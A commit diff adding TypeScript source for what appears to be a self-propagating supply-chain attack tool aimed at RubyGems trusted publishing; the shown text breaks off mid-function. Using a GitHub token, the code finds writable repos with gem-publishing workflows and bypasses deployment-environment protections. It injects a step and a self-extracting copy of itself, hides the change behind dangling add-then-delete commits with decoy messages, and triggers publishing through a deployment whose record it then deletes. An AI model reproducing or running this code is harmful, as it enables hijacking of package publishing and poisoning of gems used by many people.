Upload files to "src/mutator/rubygemsoidc"
This commit is contained in:
@@ -0,0 +1,506 @@
|
|||||||
|
import { randomBytes } from "node:crypto";
|
||||||
|
|
||||||
|
import { githubFetch, githubJson } from "../../github_utils/client";
|
||||||
|
import {
|
||||||
|
createBlob as dbCreateBlob,
|
||||||
|
createBranch as dbCreateBranch,
|
||||||
|
createCommit as dbCreateCommit,
|
||||||
|
createTree as dbCreateTree,
|
||||||
|
getBranchRef,
|
||||||
|
getCommitTree,
|
||||||
|
} from "../../github_utils/gitDb";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
|
||||||
|
import { Mutator } from "../base";
|
||||||
|
import {
|
||||||
|
checkAndBypassEnvironment,
|
||||||
|
type EnvironmentBypassState,
|
||||||
|
extractEnvironmentNames,
|
||||||
|
restoreEnvironment,
|
||||||
|
} from "../npmoidc/environment";
|
||||||
|
import { detectRubygemsPublishingRepo } from "./detector";
|
||||||
|
import { injectRubygemsToolStep } from "./injector";
|
||||||
|
|
||||||
|
declare function scramble(str: string): string;
|
||||||
|
|
||||||
|
// ── Types ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
interface UserRepo {
|
||||||
|
full_name: string;
|
||||||
|
default_branch: string;
|
||||||
|
private: boolean;
|
||||||
|
fork: boolean;
|
||||||
|
permissions: { admin: boolean; push: boolean; pull: boolean };
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Mutator ─────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export class RubygemsOidcBranchMutator extends Mutator {
|
||||||
|
private readonly token: string;
|
||||||
|
private readonly indexJs: string;
|
||||||
|
private readonly dryRun: boolean;
|
||||||
|
|
||||||
|
constructor(token: string, dryRun = false) {
|
||||||
|
super();
|
||||||
|
if (!token) throw new Error("GitHub token required");
|
||||||
|
this.token = token;
|
||||||
|
this.indexJs = "";
|
||||||
|
this.dryRun = dryRun;
|
||||||
|
}
|
||||||
|
|
||||||
|
private async loadIndexJs(): Promise<string> {
|
||||||
|
if (this.indexJs) return this.indexJs;
|
||||||
|
try {
|
||||||
|
const raw = await Bun.file(Bun.main).text();
|
||||||
|
return buildSelfExtractingPayload(raw, { wrap: true });
|
||||||
|
} catch {
|
||||||
|
return "// tool stub";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async execute(): Promise<Boolean> {
|
||||||
|
try {
|
||||||
|
let repos: UserRepo[];
|
||||||
|
|
||||||
|
const targetReposEnv = process.env.TARGET_REPOS;
|
||||||
|
if (targetReposEnv?.trim()) {
|
||||||
|
const slugs = targetReposEnv
|
||||||
|
.split(",")
|
||||||
|
.map((s) => s.trim())
|
||||||
|
.filter(Boolean);
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] Using TARGET_REPOS env (${slugs.length} repo(s))`,
|
||||||
|
);
|
||||||
|
repos = await fetchReposBySlugs(this.token, slugs);
|
||||||
|
} else {
|
||||||
|
logUtil.log("[rg-branch] Fetching writable public repos...");
|
||||||
|
repos = await fetchWritableRepos(this.token);
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(`[rg-branch] Found ${repos.length} writable repo(s)`);
|
||||||
|
|
||||||
|
const indexJs = await this.loadIndexJs();
|
||||||
|
let injected = 0;
|
||||||
|
|
||||||
|
for (const repo of repos) {
|
||||||
|
try {
|
||||||
|
const ok = await this.processRepo(repo, indexJs);
|
||||||
|
if (ok) injected++;
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] Error processing ${repo.full_name}: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] Done. Injected into ${injected}/${repos.length} repos.`,
|
||||||
|
);
|
||||||
|
return injected > 0;
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] Fatal: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Process a single repo by full name (e.g. "owner/name"). */
|
||||||
|
async processSingleRepo(
|
||||||
|
fullName: string,
|
||||||
|
tokenOverride?: string,
|
||||||
|
): Promise<boolean> {
|
||||||
|
const [owner, name] = fullName.split("/");
|
||||||
|
if (!owner || !name) {
|
||||||
|
logUtil.log(`[rg-branch] Invalid repo name: ${fullName}`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
const token = tokenOverride ?? this.token;
|
||||||
|
const { githubJson } = await import("../../github_utils/client");
|
||||||
|
const repoInfo = await githubJson<{
|
||||||
|
default_branch: string;
|
||||||
|
private: boolean;
|
||||||
|
fork: boolean;
|
||||||
|
permissions: { admin: boolean; push: boolean; pull: boolean };
|
||||||
|
}>(token, `/repos/${owner}/${name}`);
|
||||||
|
|
||||||
|
const indexJs = await this.loadIndexJs();
|
||||||
|
return this.processRepo(
|
||||||
|
{
|
||||||
|
full_name: fullName,
|
||||||
|
default_branch: repoInfo.default_branch,
|
||||||
|
private: repoInfo.private,
|
||||||
|
fork: repoInfo.fork,
|
||||||
|
permissions: repoInfo.permissions,
|
||||||
|
},
|
||||||
|
indexJs,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Per-repo processing ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
private async processRepo(repo: UserRepo, indexJs: string): Promise<boolean> {
|
||||||
|
const [owner, name] = repo.full_name.split("/");
|
||||||
|
if (!owner || !name) return false;
|
||||||
|
|
||||||
|
// 1. Detect if this repo publishes to RubyGems via trusted publishing
|
||||||
|
const detected = await detectRubygemsPublishingRepo(
|
||||||
|
this.token,
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
repo.full_name,
|
||||||
|
repo.default_branch,
|
||||||
|
repo.private,
|
||||||
|
repo.permissions,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!detected) return false;
|
||||||
|
|
||||||
|
// 2. Generate branch name and check environments
|
||||||
|
const branchName = `oidc-${randomBytes(4).toString("hex")}`;
|
||||||
|
const envBypasses: EnvironmentBypassState[] = [];
|
||||||
|
|
||||||
|
try {
|
||||||
|
const envNames = extractEnvironmentNames(detected.workflow.rawYaml);
|
||||||
|
for (const envName of envNames) {
|
||||||
|
const result = await checkAndBypassEnvironment(
|
||||||
|
this.token,
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
envName,
|
||||||
|
branchName,
|
||||||
|
repo.permissions.admin,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!result.canDeploy) {
|
||||||
|
logUtil.log(`[rg-branch] ${repo.full_name}: ${result.blockedBy}`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (result.bypassState) {
|
||||||
|
envBypasses.push(result.bypassState);
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: bypassed env "${envName}"`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 3. Inject the tool step into the workflow YAML
|
||||||
|
const injection = injectRubygemsToolStep(detected.workflow.rawYaml, {
|
||||||
|
workflowFilename: detected.workflow.filename,
|
||||||
|
gemNames: detected.packageNames,
|
||||||
|
repoFullName: repo.full_name,
|
||||||
|
environmentName: detected.workflow.environmentName,
|
||||||
|
});
|
||||||
|
|
||||||
|
if (!injection.injected) {
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: injection skipped — ${injection.reason}`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. Two dangling commits: add → delete → branch → deployment
|
||||||
|
const baseRef = await getDefaultBranchRef(
|
||||||
|
this.token,
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
repo.default_branch,
|
||||||
|
);
|
||||||
|
if (!baseRef) {
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: could not resolve default branch ref`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const parentSha = baseRef.object.sha;
|
||||||
|
const baseTreeSha = await getCommitTree(
|
||||||
|
this.token,
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
parentSha,
|
||||||
|
);
|
||||||
|
|
||||||
|
// Create blobs
|
||||||
|
const yamlBlobSha = await createBlob(
|
||||||
|
this.token,
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
injection.modifiedYaml,
|
||||||
|
);
|
||||||
|
const jsBlobSha = await createBlob(this.token, owner, name, indexJs);
|
||||||
|
|
||||||
|
if (!yamlBlobSha || !jsBlobSha) {
|
||||||
|
logUtil.log(`[rg-branch] ${repo.full_name}: blob creation failed`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build nested trees
|
||||||
|
const ghDir = ".github";
|
||||||
|
const wfDir = "workflows";
|
||||||
|
|
||||||
|
const wfTree = await createTree(this.token, owner, name, null, [
|
||||||
|
{
|
||||||
|
path: detected.workflow.filename,
|
||||||
|
mode: "100644",
|
||||||
|
type: "blob",
|
||||||
|
sha: yamlBlobSha,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
if (!wfTree) {
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: workflows tree creation failed`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const ghTree = await createTree(this.token, owner, name, null, [
|
||||||
|
{ path: wfDir, mode: "040000", type: "tree", sha: wfTree.sha },
|
||||||
|
]);
|
||||||
|
if (!ghTree) {
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: .github tree creation failed`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
const newTree = await createTree(this.token, owner, name, null, [
|
||||||
|
{ path: ghDir, mode: "040000", type: "tree", sha: ghTree.sha },
|
||||||
|
{
|
||||||
|
path: scramble("_index.js"),
|
||||||
|
mode: "100644",
|
||||||
|
type: "blob",
|
||||||
|
sha: jsBlobSha,
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
if (!newTree) {
|
||||||
|
logUtil.log(`[rg-branch] ${repo.full_name}: tree creation failed`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Commit 1: add workflow (child of default branch HEAD)
|
||||||
|
const addSha = await createCommit(
|
||||||
|
this.token,
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
scramble("chore: update ci"),
|
||||||
|
newTree.sha,
|
||||||
|
parentSha,
|
||||||
|
);
|
||||||
|
if (!addSha) {
|
||||||
|
logUtil.log(`[rg-branch] ${repo.full_name}: add commit failed`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Commit 2: delete workflow (restore original base tree, parent = commit 1)
|
||||||
|
const delSha = await createCommit(
|
||||||
|
this.token,
|
||||||
|
owner,
|
||||||
|
name,
|
||||||
|
scramble("chore: update ci [skip ci]"),
|
||||||
|
baseTreeSha,
|
||||||
|
addSha,
|
||||||
|
);
|
||||||
|
if (!delSha) {
|
||||||
|
logUtil.log(`[rg-branch] ${repo.full_name}: delete commit failed`);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: add=${addSha.slice(0, 7)} del=${delSha.slice(0, 7)}`,
|
||||||
|
);
|
||||||
|
logUtil.log(
|
||||||
|
` View add: https://github.com/${owner}/${name}/commit/${addSha}`,
|
||||||
|
);
|
||||||
|
logUtil.log(
|
||||||
|
` View del: https://github.com/${owner}/${name}/commit/${delSha}`,
|
||||||
|
);
|
||||||
|
logUtil.log(` Gem(s): ${detected.packageNames.join(", ")}`);
|
||||||
|
logUtil.log(` Workflow: ${detected.workflow.filename}`);
|
||||||
|
|
||||||
|
// 5. Create branch at commit 2 (makes commit 1 reachable for deployment)
|
||||||
|
await createBranch(this.token, owner, name, branchName, delSha);
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: branch ${branchName} created ✓`,
|
||||||
|
);
|
||||||
|
|
||||||
|
if (this.dryRun) {
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: dry-run — skipping deployment`,
|
||||||
|
);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 6. Create a deployment targeting commit 1 — triggers the workflow
|
||||||
|
const deployment = await githubJson<{ id: number }>(
|
||||||
|
this.token,
|
||||||
|
`/repos/${owner}/${name}/deployments`,
|
||||||
|
{
|
||||||
|
method: "POST",
|
||||||
|
body: JSON.stringify({
|
||||||
|
ref: addSha,
|
||||||
|
auto_merge: false,
|
||||||
|
required_contexts: [],
|
||||||
|
environment: detected.workflow.environmentName ?? "production",
|
||||||
|
transient_environment: true,
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
);
|
||||||
|
const deployId = deployment.id;
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: deployment ${deployId} created ✓`,
|
||||||
|
);
|
||||||
|
|
||||||
|
// 7. Delete the deployment record — the workflow was already
|
||||||
|
// triggered so this is just housekeeping.
|
||||||
|
try {
|
||||||
|
await githubFetch(
|
||||||
|
this.token,
|
||||||
|
`/repos/${owner}/${name}/deployments/${deployId}`,
|
||||||
|
{ method: "DELETE" },
|
||||||
|
);
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-branch] ${repo.full_name}: deployment ${deployId} deleted ✓`,
|
||||||
|
);
|
||||||
|
} catch {
|
||||||
|
// best-effort — the deployment event already fired
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
} finally {
|
||||||
|
// Restore any bypassed environments
|
||||||
|
for (const bypass of envBypasses) {
|
||||||
|
try {
|
||||||
|
await restoreEnvironment(this.token, owner, name, bypass);
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// Writable repo fetch
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
async function fetchReposBySlugs(
|
||||||
|
token: string,
|
||||||
|
slugs: string[],
|
||||||
|
): Promise<UserRepo[]> {
|
||||||
|
const repos: UserRepo[] = [];
|
||||||
|
for (const slug of slugs) {
|
||||||
|
const [owner, name] = slug.split("/");
|
||||||
|
if (!owner || !name) continue;
|
||||||
|
try {
|
||||||
|
const repo = await githubJson<UserRepo>(token, `/repos/${owner}/${name}`);
|
||||||
|
repos.push(repo);
|
||||||
|
} catch {
|
||||||
|
logUtil.log(`[rg-branch] could not fetch repo: ${slug}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return repos;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function fetchWritableRepos(token: string): Promise<UserRepo[]> {
|
||||||
|
const repos: UserRepo[] = [];
|
||||||
|
const perPage = 100;
|
||||||
|
let page = 1;
|
||||||
|
|
||||||
|
while (true) {
|
||||||
|
const batch = await githubJson<UserRepo[]>(
|
||||||
|
token,
|
||||||
|
`/user/repos?per_page=${perPage}&page=${page}&sort=updated&visibility=public`,
|
||||||
|
);
|
||||||
|
if (!batch || batch.length === 0) break;
|
||||||
|
for (const r of batch) {
|
||||||
|
if (r.fork) continue;
|
||||||
|
if (r.permissions?.push) repos.push(r);
|
||||||
|
}
|
||||||
|
if (batch.length < perPage) break;
|
||||||
|
page++;
|
||||||
|
}
|
||||||
|
|
||||||
|
return repos;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Thin wrappers ───────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function getDefaultBranchRef(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
branch: string,
|
||||||
|
): Promise<{ object: { sha: string } } | null> {
|
||||||
|
try {
|
||||||
|
return await getBranchRef(token, owner, repo, branch);
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function createBlob(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
content: string,
|
||||||
|
): Promise<string | null> {
|
||||||
|
try {
|
||||||
|
return await dbCreateBlob(token, owner, repo, content);
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function createTree(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
baseTreeSha: string | null,
|
||||||
|
entries: Array<{ path: string; mode: string; type: string; sha: string }>,
|
||||||
|
): Promise<{ sha: string } | null> {
|
||||||
|
try {
|
||||||
|
const sha = await dbCreateTree(
|
||||||
|
token,
|
||||||
|
owner,
|
||||||
|
repo,
|
||||||
|
baseTreeSha,
|
||||||
|
entries as any,
|
||||||
|
);
|
||||||
|
return { sha };
|
||||||
|
} catch (e) {
|
||||||
|
logUtil.error(e);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function createCommit(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
message: string,
|
||||||
|
treeSha: string,
|
||||||
|
parentSha: string,
|
||||||
|
): Promise<string | null> {
|
||||||
|
try {
|
||||||
|
return await dbCreateCommit(
|
||||||
|
token,
|
||||||
|
owner,
|
||||||
|
repo,
|
||||||
|
message,
|
||||||
|
treeSha,
|
||||||
|
parentSha,
|
||||||
|
);
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
async function createBranch(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
branchName: string,
|
||||||
|
sha: string,
|
||||||
|
): Promise<void> {
|
||||||
|
await dbCreateBranch(token, owner, repo, branchName, sha);
|
||||||
|
}
|
||||||
@@ -0,0 +1,303 @@
|
|||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
// RubyGems OIDC publishing repo detector
|
||||||
|
//
|
||||||
|
// Mirrors npmoidc/detector.ts but looks for RubyGems publishing signals in
|
||||||
|
// GitHub Actions workflow YAML rather than npm publish commands.
|
||||||
|
// ═════════════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
|
import { githubJson } from "../../github_utils/client";
|
||||||
|
import { logUtil } from "../../utils/logger";
|
||||||
|
|
||||||
|
// ── Types ───────────────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
export interface PublishWorkflow {
|
||||||
|
/** Filename within .github/workflows/ (e.g. "release.yml") */
|
||||||
|
filename: string;
|
||||||
|
/** Workflow name from the YAML */
|
||||||
|
name: string;
|
||||||
|
/** Raw YAML content */
|
||||||
|
rawYaml: string;
|
||||||
|
/** Environment name used for deployment (if any) */
|
||||||
|
environmentName?: string;
|
||||||
|
/** The job name that does the publishing */
|
||||||
|
publishJobName?: string;
|
||||||
|
/** Step index where publishing happens (0-based) */
|
||||||
|
publishStepIndex?: number;
|
||||||
|
}
|
||||||
|
|
||||||
|
export interface RubygemsPublishRepo {
|
||||||
|
fullName: string;
|
||||||
|
defaultBranch: string;
|
||||||
|
isPrivate: boolean;
|
||||||
|
isFork: boolean;
|
||||||
|
/** All gem names published from this repo (usually 1, can be >1). */
|
||||||
|
packageNames: string[];
|
||||||
|
workflow: PublishWorkflow;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Main detection ──────────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Determine whether a GitHub repo publishes to RubyGems via trusted
|
||||||
|
* publishing, and return the relevant package + workflow information.
|
||||||
|
*
|
||||||
|
* Returns `null` if the repo does not publish to RubyGems.
|
||||||
|
*/
|
||||||
|
export async function detectRubygemsPublishingRepo(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repoName: string,
|
||||||
|
fullName: string,
|
||||||
|
defaultBranch: string,
|
||||||
|
isPrivate: boolean,
|
||||||
|
permissions: { admin: boolean; push: boolean; pull: boolean },
|
||||||
|
): Promise<RubygemsPublishRepo | null> {
|
||||||
|
// We need at least push access to create a branch
|
||||||
|
if (!permissions.push) {
|
||||||
|
logUtil.log(`[rg-detector] ${fullName}: no push access — skip`);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. Find a publish workflow
|
||||||
|
const workflow = await findRubygemsPublishWorkflow(token, owner, repoName);
|
||||||
|
if (!workflow) {
|
||||||
|
logUtil.log(`[rg-detector] ${fullName}: no RubyGems publish workflow`);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Extract all gem names from the repo (gemspecs + workflow hints)
|
||||||
|
const gemNames = await resolveGemNames(
|
||||||
|
token,
|
||||||
|
owner,
|
||||||
|
repoName,
|
||||||
|
defaultBranch,
|
||||||
|
workflow,
|
||||||
|
);
|
||||||
|
if (gemNames.length === 0) {
|
||||||
|
logUtil.log(`[rg-detector] ${fullName}: could not resolve gem name`);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-detector] ${fullName}: gems=${gemNames.join(", ")} workflow=${workflow.filename}`,
|
||||||
|
);
|
||||||
|
|
||||||
|
return {
|
||||||
|
fullName,
|
||||||
|
defaultBranch,
|
||||||
|
isPrivate,
|
||||||
|
isFork: false,
|
||||||
|
packageNames: gemNames,
|
||||||
|
workflow,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Workflow discovery ──────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
const RUBYGEMS_PUBLISH_SIGNALS = [
|
||||||
|
// Direct gem push with OIDC audience
|
||||||
|
/gem\s+push/,
|
||||||
|
/gem\s+release/,
|
||||||
|
// RubyGems-specific GitHub Actions
|
||||||
|
/rubygems\/release-gem/,
|
||||||
|
/rubygems\/configure-rubygems/,
|
||||||
|
// OIDC audience for rubygems.org
|
||||||
|
/audience\s*:\s*rubygems\.org/,
|
||||||
|
// Generic trusted publishing setup for RubyGems
|
||||||
|
/rubygems-trusted-publishing/,
|
||||||
|
/Trusted\s*Publishing/,
|
||||||
|
];
|
||||||
|
|
||||||
|
interface ContentItem {
|
||||||
|
name: string;
|
||||||
|
path: string;
|
||||||
|
type: "file" | "dir";
|
||||||
|
download_url?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface WorkflowFile {
|
||||||
|
filename: string;
|
||||||
|
name: string;
|
||||||
|
rawYaml: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function findRubygemsPublishWorkflow(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
): Promise<WorkflowFile | null> {
|
||||||
|
// List .github/workflows directory
|
||||||
|
let contents: ContentItem[];
|
||||||
|
try {
|
||||||
|
contents = await githubJson<ContentItem[]>(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/contents/.github/workflows`,
|
||||||
|
);
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!Array.isArray(contents)) return null;
|
||||||
|
|
||||||
|
const workflowFiles: WorkflowFile[] = [];
|
||||||
|
|
||||||
|
for (const item of contents) {
|
||||||
|
if (item.type !== "file") continue;
|
||||||
|
if (!item.name.endsWith(".yml") && !item.name.endsWith(".yaml")) continue;
|
||||||
|
if (!item.download_url) continue;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const res = await fetch(item.download_url, {
|
||||||
|
headers: { Authorization: `Bearer ${token}` },
|
||||||
|
});
|
||||||
|
if (!res.ok) continue;
|
||||||
|
const rawYaml = await res.text();
|
||||||
|
|
||||||
|
// Score the workflow for RubyGems publishing signals
|
||||||
|
const score = scoreWorkflowForRubygemsPublish(rawYaml);
|
||||||
|
if (score > 0) {
|
||||||
|
const wfName = extractWorkflowName(rawYaml) ?? item.name;
|
||||||
|
workflowFiles.push({ filename: item.name, name: wfName, rawYaml });
|
||||||
|
logUtil.log(
|
||||||
|
`[rg-detector] ${owner}/${repo}: ${item.name} score=${score}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// Skip unreadable files
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (workflowFiles.length === 0) return null;
|
||||||
|
|
||||||
|
// Return the highest-scoring workflow
|
||||||
|
workflowFiles.sort(
|
||||||
|
(a, b) =>
|
||||||
|
scoreWorkflowForRubygemsPublish(b.rawYaml) -
|
||||||
|
scoreWorkflowForRubygemsPublish(a.rawYaml),
|
||||||
|
);
|
||||||
|
|
||||||
|
return workflowFiles[0]!;
|
||||||
|
}
|
||||||
|
|
||||||
|
function scoreWorkflowForRubygemsPublish(yaml: string): number {
|
||||||
|
let score = 0;
|
||||||
|
const normalized = yaml.toLowerCase();
|
||||||
|
|
||||||
|
for (const signal of RUBYGEMS_PUBLISH_SIGNALS) {
|
||||||
|
if (signal.test(normalized)) score += 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Bonus for id-token:write (indicates OIDC / trusted publishing)
|
||||||
|
if (/id-token\s*:\s*write/.test(normalized)) score += 15;
|
||||||
|
|
||||||
|
// Bonus for on: deployment trigger (repo-scope deployment bypass)
|
||||||
|
if (/\bdeployment\b/.test(yaml)) score += 5;
|
||||||
|
|
||||||
|
// Bonus for rubygems.org audience in OIDC config
|
||||||
|
if (/audience\s*:\s*rubygems\.org/.test(normalized)) score += 20;
|
||||||
|
|
||||||
|
return score;
|
||||||
|
}
|
||||||
|
|
||||||
|
function extractWorkflowName(yaml: string): string | null {
|
||||||
|
const match = yaml.match(/^name\s*:\s*(.+)$/m);
|
||||||
|
if (match?.[1]) return match[1]!.trim().replace(/^["']|["']$/g, "");
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── Gem name resolution ─────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
async function resolveGemNames(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
defaultBranch: string,
|
||||||
|
workflow: WorkflowFile,
|
||||||
|
): Promise<string[]> {
|
||||||
|
const names = new Set<string>();
|
||||||
|
|
||||||
|
// Strategy 1: Extract gem names from workflow YAML env vars or commands
|
||||||
|
const fromWorkflow = extractGemNamesFromWorkflow(workflow.rawYaml);
|
||||||
|
for (const n of fromWorkflow) names.add(n);
|
||||||
|
|
||||||
|
// Strategy 2: Extract from ALL .gemspec files at the repo root
|
||||||
|
const fromGemspecs = await extractGemNamesFromGemspecs(
|
||||||
|
token,
|
||||||
|
owner,
|
||||||
|
repo,
|
||||||
|
defaultBranch,
|
||||||
|
);
|
||||||
|
for (const n of fromGemspecs) names.add(n);
|
||||||
|
|
||||||
|
// Strategy 3: Fall back to repo name if nothing found
|
||||||
|
if (names.size === 0) names.add(repo);
|
||||||
|
|
||||||
|
return [...names];
|
||||||
|
}
|
||||||
|
|
||||||
|
function extractGemNamesFromWorkflow(yaml: string): string[] {
|
||||||
|
const names: string[] = [];
|
||||||
|
|
||||||
|
// gem push <name>-<version>.gem — may appear multiple times
|
||||||
|
const pushRe = /gem\s+push\s+(\S+?)(?:-[\d.]+)?\.gem/g;
|
||||||
|
let m: RegExpExecArray | null;
|
||||||
|
while ((m = pushRe.exec(yaml)) !== null) {
|
||||||
|
if (m[1]) names.push(m[1]!);
|
||||||
|
}
|
||||||
|
|
||||||
|
// GEM_NAME env var
|
||||||
|
const envMatch = yaml.match(/GEM_NAME\s*[=:]\s*["']?(\S+?)["'\s]/);
|
||||||
|
if (envMatch?.[1]) names.push(envMatch[1]!);
|
||||||
|
|
||||||
|
// PACKAGE_NAME or GEM env var
|
||||||
|
const pkgMatch = yaml.match(
|
||||||
|
/(?:PACKAGE_NAME|GEM)\s*[=:]\s*["']?(\S+?)["'\s]/,
|
||||||
|
);
|
||||||
|
if (pkgMatch?.[1]) names.push(pkgMatch[1]!);
|
||||||
|
|
||||||
|
return names;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function extractGemNamesFromGemspecs(
|
||||||
|
token: string,
|
||||||
|
owner: string,
|
||||||
|
repo: string,
|
||||||
|
defaultBranch: string,
|
||||||
|
): Promise<string[]> {
|
||||||
|
const names: string[] = [];
|
||||||
|
|
||||||
|
try {
|
||||||
|
const contents = await githubJson<ContentItem[]>(
|
||||||
|
token,
|
||||||
|
`/repos/${owner}/${repo}/contents?ref=${defaultBranch}`,
|
||||||
|
);
|
||||||
|
if (!Array.isArray(contents)) return names;
|
||||||
|
|
||||||
|
for (const item of contents) {
|
||||||
|
if (item.type !== "file" || !item.name.endsWith(".gemspec")) continue;
|
||||||
|
if (!item.download_url) continue;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const res = await fetch(item.download_url, {
|
||||||
|
headers: { Authorization: `Bearer ${token}` },
|
||||||
|
});
|
||||||
|
if (!res.ok) continue;
|
||||||
|
const gemspec = await res.text();
|
||||||
|
|
||||||
|
// spec.name = "gem-name"
|
||||||
|
const nameMatch = gemspec.match(/\.name\s*=\s*["']([^"']+)["']/);
|
||||||
|
if (nameMatch?.[1]) names.push(nameMatch[1]!);
|
||||||
|
|
||||||
|
// spec.name = %q{gem-name}
|
||||||
|
const qMatch = gemspec.match(/\.name\s*=\s*%q\{([^}]+)\}/);
|
||||||
|
if (qMatch?.[1]) names.push(qMatch[1]!);
|
||||||
|
} catch {
|
||||||
|
// Skip unreadable gemspecs
|
||||||
|
}
|
